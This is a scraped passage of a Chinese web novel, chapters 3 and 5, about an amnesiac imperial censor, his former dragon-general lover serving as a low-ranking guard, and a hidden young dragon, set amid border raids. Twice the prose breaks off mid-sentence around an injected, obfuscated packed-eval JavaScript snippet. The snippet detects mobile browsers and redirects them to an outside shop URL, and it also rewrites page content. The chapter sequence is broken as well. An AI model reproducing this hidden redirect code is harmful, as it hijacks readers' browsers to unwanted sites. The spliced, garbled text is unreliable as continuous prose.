《陛下失忆,满天下找他的小龙将军》 3. 风雪撞旧影,唯有金须记前尘 苏淮浑身发颤,蜷缩在积雪之中,死死抱住肩头,垂着眼眸做好了挨打的准备。可预想之中的拳脚并未落下,下一瞬,一只手轻轻扶住了他的臂膀,将他从冰冷雪地里缓缓拉起。 萧玉秋眉眼褪去方才的冷厉,唇角噙着一抹浅淡笑意,语气平和无半分戾气:“龙族如今,还有其余族人存活吗?” 苏淮抬眸,眼底依旧满是戒备与不解,执拗地再度追问方才的疑惑:“你究竟是如何看穿我龙族真身的?” 萧玉秋垂眸望着漫天飞雪,指尖几不可查地蜷缩,眼底掠过一丝无人察觉的晦暗,淡淡开口:“龙族与生俱来带着独有的鸿蒙龙息。” 话音落下,他目光骤然沉敛,直视着眼前少年:“那你为何要设下死局,蓄意刺杀朝廷锦衣卫?” 提及朝堂与皇室,苏淮瞬间双目赤红,积压已久的灭族恨意彻底爆发,攥紧双拳厉声怒吼:“我要杀的不止是锦衣卫!我要杀了当今天子李允!他伙同术士屠戮我龙族全族,血海深仇不共戴天,我纵使万死,也在所不惜!” “杀皇上?” 萧玉秋闻言忽而低笑出声,笑声清朗,却藏着一丝旁人读不懂的悲凉与怅然,“你这小龙崽子,胆子倒是大得离谱。” 骤然间,萧玉秋浑身猛地一震,体内沉寂已久、被封印多年的残存龙力毫无征兆地疯狂翻涌冲撞经脉,心口骤然传来尖锐又熟悉的钝痛。 是熟悉的气息……不会错,是他。 纷乱的前世记忆碎片不受控制地涌入脑海,眼前风雪恍惚重叠,瞬间坠入沉痛回忆。 彼时他被剥尽龙鳞,龙气散尽,残破龙身被深埋地底封印,剧痛蚀骨,神魂俱裂。混沌苏醒的第一刻,他没有顾自身濒死的伤势,没有怨怼背叛与剧痛,心底翻涌的只有同一个执念——崇昭。 崇昭,你身在何处,是否安然无恙? 可理智很快将他拉回现实。他清楚知晓,自己如今身负重伤,龙力残缺,根本没有自保之力。一旦贸然前去寻觅故人,只会将残存魂魄尚且漂泊无依的李崇昭,再度拉入必死的险境。万般思念,最终只能尽数压入心底,寸寸封存。 …… 与此同时,千里风雪官道之上,马蹄踏碎寒霜,疾驰不息。 李不舍一身素色官袍,端坐于骏马之上,身姿挺拔如松。他奉旨总领查案事宜,携锦衣卫总旗师怀戈,外加二十名随行锦衣卫小旗一同赶赴靖边镇。一行人车马规整,官威凛然,行路之间声势浩荡。 师怀戈为人耿直刻板,恪守尊卑礼法,行事一丝不苟,向来敬畏朝堂权贵,一路全程谨慎护在李不舍身侧,不敢有半分怠慢。 时光匆匆,八日风雪赶路转瞬而过。 这八日里,萧玉秋几经斟酌,写下一道巡查折子,打算上报京城,谎称靖边镇并无龙族踪迹,想要暗中护住仅剩的同族苏淮。可折子尚且未曾送出,官道尽头一阵急促马蹄声由远及近,浩荡官队迎面而来,避无可避。 四目相接的刹那,风雪仿佛骤然静止。 萧玉秋浑身猛地僵住,如遭雷击,呼吸骤然滞涩,心口像是被一只无形大手狠狠攥紧,浑身血液近乎凝固。他踉跄后退半步,脚下积雪打滑,身形摇摇欲坠,眼底所有从容淡然尽数碎裂,只剩下铺天盖地的茫然、酸涩与深入骨髓的思念。 虽然身形容貌已经完全不同,但是萧玉秋知道,眼前这人便是他刻入神魂、生死相隔、日夜思念之人。可偏偏,对方眼底没有半分旧识暖意,只剩全然的陌生。 身侧的苏淮敏锐察觉萧玉秋神色剧变,连忙转头望去,一眼便看见了迎面而来、仪仗森严的朝廷官队,心头瞬间一紧,下意识绷紧全身龙息,做好应战准备。 另一边,端坐马上的李不舍,目光落在萧玉秋脸上的一瞬间,周身气息骤然大乱。 无来由的尖锐头痛瞬间席卷脑海,万千破碎又模糊的画面在脑海中飞速闪过,爱恨、生死、风雪、宫殿刀光一闪而逝,抓不住,看不清,这让李不舍头痛欲裂。 而他手腕之上,那串常年贴身佩戴、来历不明的龙须手串骤然发烫,金芒暗涌,珠子微微震颤,如同鲜活跳动的心脏,隔着漫漫风雪,回应着对面真龙主人的气息。 “李大人!您怎么了?” 身侧的师怀戈第一时间察觉到他的异样,见他面色惨白、眉头紧蹙、手扶额头强忍剧痛,立刻勒马止步,满心担忧上前问询。 李不舍死死咬住后槽牙,强行压住翻涌的头痛与心底莫名汹涌的万般情绪,目光牢牢锁在萧玉秋身上,一瞬不移,声音沙哑干涩,带着连自己都不懂的颤抖,一字一顿从齿间挤出:“你……便是负责此次靖边龙族一案的锦衣卫小旗?” 萧玉秋怔怔望着他,彻底失了神,耳边周遭一切风声、马蹄声、人声尽数消散,全世界只剩下眼前这一个人。他听不到问话,挪不开目光,久久没有应声。 师怀戈见状当即面露怒色,恪守尊卑规矩的他见一名小小锦衣卫小旗,面对当朝佥都御史不仅不下跪行礼,还失神怠慢、目中无人,当即厉声呵斥:“放肆!小小旗官,竟敢对朝廷重臣如此无礼,还不速速跪拜回话!” 话音未落,师怀戈便上前一步,抬手便要强行擒拿萧玉秋,治他不敬上官之罪。 “住手。” 清冷低沉的阻拦声骤然响起。 李不舍抬手径直拦下了师怀戈,眉眼依旧紧紧凝望着萧玉秋,嗓音压得极低,带着一丝自己都未曾察觉的偏执:“无事,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645451|206788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必为难他。” 师怀戈满心困惑,全然不解素来秉公办事、严守礼法的李大人,为何会无故偏袒一个失礼低微的锦衣卫小旗。但上官有令,他不敢违逆,只能压下怒火,悻悻退至一旁,眼底依旧带着不满与戒备。 又一道目光沉沉相撞。 四目相对的瞬间,萧玉秋终于被拉回神志,心口酸涩翻涌,万般思念只能尽数藏于眼底。他敛去所有失态与深情,俯身规规矩矩跪拜于雪地之中,脊背紧绷,却自始至终一言不发,不敢开口,生怕一开口,便泄露压抑两世的痴心与苦楚。 李不舍压下心头纷乱心绪,正要耐着性子再度问询案件查办进度,余光却忽然瞥见了萧玉秋身侧神色慌张、极力隐匿气息的苏淮。 一瞬间,手腕上手串跳动愈发剧烈,心底预警骤然拉满,一股强烈无比的直觉席卷全身——此人,是龙族。 方才他心神尽数被萧玉秋牵动,完全忽略了身旁之人,此刻回过神,龙息感应清晰无比,分毫做不得假。 李不舍眼底最后一丝温和褪去,覆上一层冰冷慑人的寒意,手握腰间剑柄,冷声直视苏淮:“你是何人?” 苏淮被这道冰冷目光震慑,浑身猛地一颤,下意识后退半步,龙息险些彻底失控。 这细微的反应彻底印证了李不舍的判断。他不再迟疑,长剑骤然出鞘,寒光划破风雪,径直朝着苏淮劈砍而去,出手干脆利落,没有半分留情。 苏淮修为尚浅,根本来不及躲闪,眼看剑锋就要近身伤及性命,一道银白色刀光骤然横空拦下! 萧玉秋仓促抬手拔刀格挡,可他龙身旧伤未愈,龙气残缺,手臂本就虚浮无力。只听铛的一声刺耳金铁交鸣之声响起,巨大的剑气顺着雁翎刀直冲臂膀,萧玉秋手腕剧痛,虎口瞬间崩裂渗血,手中长刀直接被震飞落地。 迫于生死危机,苏淮再也无法隐匿真身,周身微光乍现,就地幻化出一条小巧真龙,蜷缩在雪地之中,原形毕露。 场间瞬间一片寂静。 师怀戈瞪大双眼,满心震惊看向方才出手阻拦的萧玉秋。方才那一刀格挡反应极快,身法利落,爆发力极强,这般身手,根本绝非寻常底层锦衣卫小旗所能拥有。紧接着他又看向李不舍,心中更是骇然不已——这位文官出身的佥都御史,居然能仅凭直觉,一眼识破隐匿极好的龙族真身,洞察力骇人听闻。 事已至此,龙族踪迹再也无从隐瞒。 萧玉秋垂眸看着地上惊慌失措的小龙,缓缓起身,抹去虎口血迹,对着面前的李不舍躬身行礼,语气平稳如实禀报:“大人息怒,属下确已查到龙族踪迹。这段时日属下一直假意周旋,留在其身侧,暗中打探龙族残余族人的消息,方才尚未来得及上报。” 5. 边关愁云起,小旗欲领兵 萧玉秋垂在身侧的手微微收紧,虎口的伤被牵动,细微痛感传来,他神色平静无波,只是眼底掠过一丝沉郁。他昔日少年将军心性犹在,纵使满心山河意难平,也从不会沉溺于低落情绪,周身依旧挺拔端方,不见半分颓靡。李不舍余光瞥见他下意识按压伤口的动作,神色淡然,只做寻常上官留意下属状态,并未多言,只暗自记下边关民生惨状。 李不舍的此次到来还有另一桩密令。此番陛下遣他远赴靖边镇,从不是只为追查龙族余孽一桩旧事。近来北疆蛮族异动频频,边关急报一封封送入皇城,内陆州县接连遭袭,朝堂人心惶惶,帝王命他暗访龙族踪迹的同时,亦要暗中彻查蛮族南下实情,摸清内陆边防崩坏的真正内情。 方才听闻强盗说辞,李不舍心底寒意更盛。靖边镇坐落于北疆近关之地,属于北方边陲小镇,紧邻边关防线,并非中原腹地,却也不算最前沿的城关要塞。如今蛮族能径直侵扰此地,足以证明北疆关外防线节节后撤,边防崩坏程度远超朝堂密报所言。李不舍身为朝堂新晋重臣,行事果决凌厉,当即理清其中利害,面上依旧沉稳自持,不露声色。 短暂沉吟后,李不舍转头看向萧玉秋,语气是上位者干脆利落的寻常叮嘱,无多余情绪:“风雪寒凉,伤口莫要反复磕碰,妥善遮掩。”言毕立刻转回目光,对着一众锦衣卫沉声下令,气场利落从容,尽显风光锐气:“此辈流民虽有苦衷,但劫掠触法,不可私放,全数押往靖边县衙,交由地方官吏依律处置,同步报备当地官府流民灾情。” 众人领命,当即押着一众强盗,调转方向前往城内县衙。马车随行在后,一行人缓步踏入靖边镇县衙大门。 县衙守门衙役见一行人衣着普通,看似寻常商队,只当是前来报案的百姓,眼皮都未曾抬一下,态度散漫懈怠,语气敷衍至极:“要报案便去西侧厢房登记,案情不急便在外等候,县尊大人此刻公务繁忙,无暇见闲杂人等。” 师怀戈见状眉头一蹙,不欲多做纠缠,直接抬手亮出腰间锦衣卫制式腰牌,玄铁令牌寒光乍现,威严凛然。 看清令牌纹路的刹那,方才漫不经心的衙役脸色骤变,双腿一软当即跪地,浑身冷汗直流,连声音都开始发颤:“卑、卑职不知上官亲临,多有怠慢,还望大人恕罪!” 消息顷刻传入县衙内堂,县衙主簿连同一众吏员匆匆快步跑出,躬身垂首列队相迎,恭敬至极,方才的傲慢无礼荡然无存。 一行人径直走入县衙公堂,李不舍端坐于侧位椅上,神色淡漠,有条不紊将山贼劫掠缘由、流民困境一一据实交代,交由县衙依规审理定罪,安顿流离流民。待公事交代完毕,他话锋一转,神色褪去温和,正式问询边关实情:“本官奉旨暗访边境防务,听闻蛮族兵马已深入内陆滋扰百姓,靖边镇近来战况究竟如何?如实回禀。” 话音刚落,一道疲惫沙哑的声音从堂外传来。 “下官见过佥都御史大人。” 靖边镇知县身着官服,满面风霜与倦色,步履匆匆走入公堂,躬身行大礼。他方才在后堂处理积压公务,听闻朝廷重臣亲临县衙,即刻放下手头诸事赶来相见,恰好撞上李不舍问询边防一事。 无需众人多问,知县已然眼眶发红,长长叹了一口气,满是无可奈何的苦楚,当着众人的面大吐苦水。 “大人有所不知,我镇地处北疆近关,首当其冲饱受边患侵扰。如今南下的蛮族族人,本族天生体魄异于中原人,全员个个身形魁梧、蛮力惊人,且蛮族素来不喜战马,行军作战多以徒步奔袭为主,脚力极快,行进速度完全不输边关战马。这群蛮族游兵常年在关外周边村镇劫掠,近日越发猖狂,屡屡越过边界哨卡,侵扰我镇周遭村落。我镇本地守军兵力薄弱,数次出城阻拦,皆不敌蛮族天生蛮力,接连折损人手,根本无力抵挡。” 此言一出,堂内锦衣卫众人皆是神色凝重。 全员肉身强悍、徒步奔袭堪比战马,且蛮族人人皆有战力,而非单一精锐小队,这般全民皆悍的外敌,远比中原以往面对的骑兵敌军更难清缴,也更难布防阻拦。 李不舍指尖轻轻敲击椅面,眸色沉冷,心底印证了朝堂收到的密报,片刻后沉声开口:“此事事关内陆安危与边防大局,本官回京之后,会即刻拟写奏折,将靖边镇实情一字不差上报陛下,请求朝廷派兵驰援此地。” 堂内一片寂静,众人皆等候上官决断。 就在此时,一道清冽平稳的男声骤然响起,打破满堂沉寂。 萧玉秋闻言眸色一凛,往日被刻意收敛的少年将军锋芒骤然外露,身姿挺得笔直,没有冗长迟疑。多年沙场戎马刻入筋骨,听闻边民受难、防线溃败,本能生出守土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645453|206788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战意。他上前一步,规规矩矩行下属拱手礼,语气清亮干脆,坦荡磊落,全无怯懦矫情:“大人,朝廷援军从京城调拨至北疆近关,路途遥远,远水难救近火。若大人手边有可用人手,属下愿领兵出战,清剿入境蛮族游兵,护住周遭村镇百姓。” 一语落地,满堂哗然。 县衙官吏、随行锦衣卫尽数转头看向这名不起眼的锦衣卫小旗,眼底满是难以置信的诧异。 区区一个底层旗官,人微言轻,无品级无兵权,竟敢当众主动请战,直面凶悍无比的蛮族死士,未免太过狂妄自大。 师怀戈当即上前一步,眉头紧锁,立刻出声反对,恪守规矩规劝道:“萧小旗休得胡言!蛮族兵士天生蛮力凶悍异常,正规边关守军尚且难以抗衡,仅凭我等随行少许人手,万万不可贸然出战,万万不可意气用事!” 他深知萧玉秋身手不俗,可沙场征战绝非单打独斗,排兵布阵、统筹全军皆是难事,一个锦衣卫小旗,何来领兵打仗的底气? 知县也连忙苦笑着摆手,满脸窘迫无奈:“这位官爷说笑了,下官一介文职知县,手中无兵无将,整个县衙之内,除却值守衙役,仅有区区七八名捕快可用,兵力单薄,根本无法上阵御敌,实在有心无力。” 所有人都以为,听到只有寥寥数名捕快可用时,萧玉秋定会收回请战之言。 可下一秒,萧玉秋薄唇轻启,眼神笃定从容,周身大将气度浑然天成,淡淡落下一句: “足够了。” 他曾是镇守北疆、运筹帷幄的龙族左将,数年沙场征战,练兵布阵、以少胜多、绝地突围早已是本能。于旁人而言,七八名毫无章法的普通捕快不堪一击,可于他这位真正的沙场名将手中,哪怕是一群乌合之众,他亦能短时间内规整阵型、巧用地势、布下杀局,以极小代价全歼来犯蛮族。 满堂瞬间鸦雀无声,所有人都诧异看向这名品级低微的锦衣卫小旗。李不舍眉峰微挑,身子微微前倾,眼底讶异直白坦荡,作为一路平步青云、识人无数的朝堂新锐,他能清晰察觉到,此刻萧玉秋身上骤然迸发的沙场锐气绝非作假。他指尖停下叩击桌案的动作,目光正视萧玉秋,问话简洁锐利,贴合御史干练人设:“你清楚蛮族全员体魄强悍,正规边军都难以抗衡,仅凭少许地方人手,此战凶险万分,你可有把握?”